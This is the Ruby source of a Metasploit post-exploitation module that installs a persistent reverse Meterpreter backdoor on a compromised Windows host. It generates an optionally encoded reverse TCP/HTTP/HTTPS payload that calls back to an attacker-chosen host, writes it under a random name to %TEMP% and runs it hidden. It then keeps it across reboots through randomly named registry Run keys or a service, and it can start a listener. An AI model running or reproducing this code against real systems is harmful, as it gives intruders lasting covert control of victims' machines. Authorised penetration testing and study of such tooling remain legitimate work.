382 lines
13 KiB
Ruby
382 lines
13 KiB
Ruby
##
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# $Id$
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##
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##
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# ## This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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require 'msf/core/post/windows/priv'
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require 'msf/core/post/windows/registry'
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require 'msf/core/post/windows/services'
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class Metasploit3 < Msf::Post
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Registry
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include Msf::Post::Windows::WindowsServices
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Persistent Payload Installer',
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'Description' => %q{
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This Module will create a boot persistent reverse Meterpreter session by
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installing on the target host the payload as a script that will be executed
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at user logon or system startup depending on privilege and selected startup
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method.
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REXE mode will transfer a binary of your choosing to remote host to be
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used as a payload.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Carlos Perez <carlos_perez[at]darkoperator.com>',
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'Merlyn drforbin Cousins <drforbin6[at]gmail.com>'
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],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'Actions' => [['TEMPLATE'], ['REXE']],
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'DefaultAction' => 'TEMPLATE',
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']),
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OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']),
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OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
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OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM','SERVICE']]),
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OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]),
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OptString.new('TEMPLATE', [false, 'Alternate template Windows PE File to use.']),
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OptString.new('REXE',[false, 'The remote executable to use.','']),
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OptString.new('REXENAME',[false, 'The name to call exe on remote system','']),
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OptString.new('ACTION',[true, 'Use TEMPLATE or REXE mode.','TEMPLATE']),
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OptEnum.new('PAYLOAD_TYPE', [true, 'Meterpreter Payload Type.', 'TCP',['TCP','HTTP','HTTPS']])
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], self.class)
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register_advanced_options(
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[
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OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]),
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OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]),
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OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.']),
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], self.class)
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end
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# Run Method for when run command is issued
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#-------------------------------------------------------------------------------
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def run
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print_status("Running module against #{sysinfo['Computer']}")
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# Set vars
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rexe = datastore['REXE']
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rexename = datastore['REXENAME']
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lhost = datastore['LHOST']
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lport = datastore['LPORT']
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opts = datastore['OPTIONS']
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delay = datastore['DELAY']
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encoder = datastore['ENCODER']
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iterations = datastore['ITERATIONS']
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@clean_up_rc = ""
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host,port = session.session_host, session.session_port
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payload = "windows/meterpreter/reverse_tcp"
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if datastore['ACTION'] == 'TEMPLATE'
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# Check that if a template is provided that it actually exists
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if datastore['TEMPLATE']
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if not ::File.exists?(datastore['TEMPLATE'])
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print_error "Template PE File does not exists!"
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return
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else
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template_pe = datastore['TEMPLATE']
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end
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end
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# Set the proper payload
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case datastore['STARTUP']
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when /TCP/i
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payload = "windows/meterpreter/reverse_tcp"
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when /HTTP/i
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payload = "windows/meterpreter/reverse_http"
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when /HTTPS/i
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payload = "windows/meterpreter/reverse_https"
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end
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# Create payload and script
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pay = create_payload(payload, lhost, lport, opts = "")
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raw = pay_gen(pay,encoder, iterations)
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script = create_script(delay, template_pe, raw)
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script_on_target = write_script_to_target(script)
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else
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if datastore['REXE'].nil? or datastore['REXE'].empty?
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print_error("Please define REXE")
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return
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end
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if datastore['REXENAME'].nil? or datastore['REXENAME'].empty?
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print_error("Please define REXENAME")
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return
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end
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if not ::File.exist?(datastore['REXE'])
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print_error("Rexe file does not exist!")
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return
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end
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raw = create_payload_from_file(rexe)
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script_on_target = write_exe_to_target(raw,rexename)
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end
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# Start handler if set
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create_multihand(payload, lhost, lport) if datastore['HANDLER']
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# Initial execution of script
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target_exec(script_on_target)
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case datastore['STARTUP']
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when /USER/i
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write_to_reg("HKCU",script_on_target)
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when /SYSTEM/i
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write_to_reg("HKLM",script_on_target)
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when /SERVICE/i
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install_as_service(script_on_target)
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end
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clean_rc = log_file()
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file_local_write(clean_rc,@clean_up_rc)
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print_status("Cleanup Meterpreter RC File: #{clean_rc}")
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report_note(:host => host,
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:type => "host.persistance.cleanup",
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:data => {
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:local_id => session.sid,
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:stype => session.type,
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:desc => session.info,
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:platform => session.platform,
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:via_payload => session.via_payload,
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:via_exploit => session.via_exploit,
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:created_at => Time.now.utc,
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:commands => @clean_up_rc
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}
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)
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end
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# Generate raw payload
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#-------------------------------------------------------------------------------
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def pay_gen(pay,encoder, iterations)
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raw = pay.generate
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if encoder
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if enc_compat(pay, encoder)
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print_status("Encoding with #{encoder}")
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enc = framework.encoders.create(encoder)
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(1..iterations).each do |i|
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print_status("\tRunning iteration #{i}")
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raw = enc.encode(raw, nil, nil, "Windows")
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end
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end
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end
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return raw
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end
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# Check if encoder specified is in the compatible ones
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#
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# Note: This should allow to adapt to new encoders if they appear with out having
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# to have a static whitelist.
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#-------------------------------------------------------------------------------
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def enc_compat(payload, encoder)
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compat = false
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payload.compatible_encoders.each do |e|
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if e[0] == encoder.strip
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compat = true
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end
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end
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return compat
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end
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# Create a payload given a name, lhost and lport, additional options
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#-------------------------------------------------------------------------------
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def create_payload(name, lhost, lport, opts = "")
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pay = session.framework.payloads.create(name)
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pay.datastore['LHOST'] = lhost
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pay.datastore['LPORT'] = lport
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if not opts.empty?
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opts.split(",").each do |o|
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opt,val = o.split("=", 2)
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pay.datastore[opt] = val
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end
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end
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# Validate the options for the module
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pay.options.validate(pay.datastore)
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return pay
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end
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# Function for Creating persistent script
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#-------------------------------------------------------------------------------
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def create_script(delay,altexe,raw)
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if not altexe.nil?
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vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay, :template => altexe})
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else
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vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay})
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end
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print_status("Persistent agent script is #{vbs.length} bytes long")
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return vbs
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end
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# Function for creating log folder and returning log path
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#-------------------------------------------------------------------------------
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def log_file(log_path = nil)
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#Get hostname
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host = session.sys.config.sysinfo["Computer"]
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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if log_path
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logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
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else
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logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
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end
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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#logfile name
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logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
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return logfile
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end
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# Function for writing script to target host
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#-------------------------------------------------------------------------------
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def write_script_to_target(vbs)
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tempdir = session.fs.file.expand_path("%TEMP%")
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tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
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fd = session.fs.file.new(tempvbs, "wb")
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fd.write(vbs)
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fd.close
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print_good("Persistent Script written to #{tempvbs}")
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@clean_up_rc << "rm #{tempvbs}\n"
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return tempvbs
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end
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# Method for checking if a listener for a given IP and port is present
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# will return true if a conflict exists and false if none is found
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#-------------------------------------------------------------------------------
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def check_for_listner(lhost,lport)
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conflict = false
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client.framework.jobs.each do |k,j|
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if j.name =~ / multi\/handler/
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current_id = j.jid
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current_lhost = j.ctx[0].datastore["LHOST"]
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current_lport = j.ctx[0].datastore["LPORT"]
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if lhost == current_lhost and lport == current_lport.to_i
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print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
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conflict = true
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end
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end
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end
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return conflict
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end
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# Starts a multi/handler session
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#-------------------------------------------------------------------------------
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def create_multihand(payload,lhost,lport)
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pay = session.framework.payloads.create(payload)
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pay.datastore['LHOST'] = lhost
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pay.datastore['LPORT'] = lport
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print_status("Starting exploit multi handler")
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if not check_for_listner(lhost,lport)
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# Set options for module
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mul = session.framework.exploits.create("multi/handler")
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mul.share_datastore(pay.datastore)
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mul.datastore['WORKSPACE'] = client.workspace
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mul.datastore['PAYLOAD'] = payload
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mul.datastore['EXITFUNC'] = 'thread'
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mul.datastore['ExitOnSession'] = false
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# Validate module options
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mul.options.validate(mul.datastore)
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# Execute showing output
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mul.exploit_simple(
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'Payload' => mul.datastore['PAYLOAD'],
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'RunAsJob' => true
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)
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else
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print_error("Could not start handler!")
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print_error("A job is listening on the same Port")
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end
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end
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# Function to execute script on target and return the PID of the process
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#-------------------------------------------------------------------------------
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def target_exec(script_on_target)
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print_status("Executing script #{script_on_target}")
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proc = datastore['ACTION'] == 'REXE' ? session.sys.process.execute(script_on_target, nil, {'Hidden' => true})\
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: session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
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print_good("Agent executed with PID #{proc.pid}")
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@clean_up_rc << "kill #{proc.pid}\n"
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return proc.pid
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end
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# Function to install payload in to the registry HKLM or HKCU
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#-------------------------------------------------------------------------------
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def write_to_reg(key,script_on_target)
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nam = Rex::Text.rand_text_alpha(rand(8)+8)
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print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
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if(key)
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registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
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print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
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else
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print_error("Error: failed to open the registry key for writing")
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end
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end
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# Function to install payload as a service
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#-------------------------------------------------------------------------------
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def install_as_service(script_on_target)
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if is_system? or is_admin?
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print_status("Installing as service..")
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nam = Rex::Text.rand_text_alpha(rand(8)+8)
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print_status("Creating service #{nam}")
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datastore['ACTION'] == 'REXE' ? service_create(nam, nam, "cmd /c \"#{script_on_target}\"") : service_create(nam, nam, "cscript \"#{script_on_target}\"")
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@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
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else
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print_error("Insufficient privileges to create service")
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end
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end
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# Function for writing executable to target host
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#-------------------------------------------------------------------------------
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def write_exe_to_target(vbs,rexename)
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tempdir = session.fs.file.expand_path("%TEMP%")
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tempvbs = tempdir + "\\" + rexename
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fd = session.fs.file.new(tempvbs, "wb")
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fd.write(vbs)
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fd.close
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print_good("Persistent Script written to #{tempvbs}")
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@clean_up_rc << "rm #{tempvbs}\n"
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return tempvbs
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end
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def create_payload_from_file(exec)
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print_status("Reading Payload from file #{exec}")
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return ::IO.read(exec)
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end
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end
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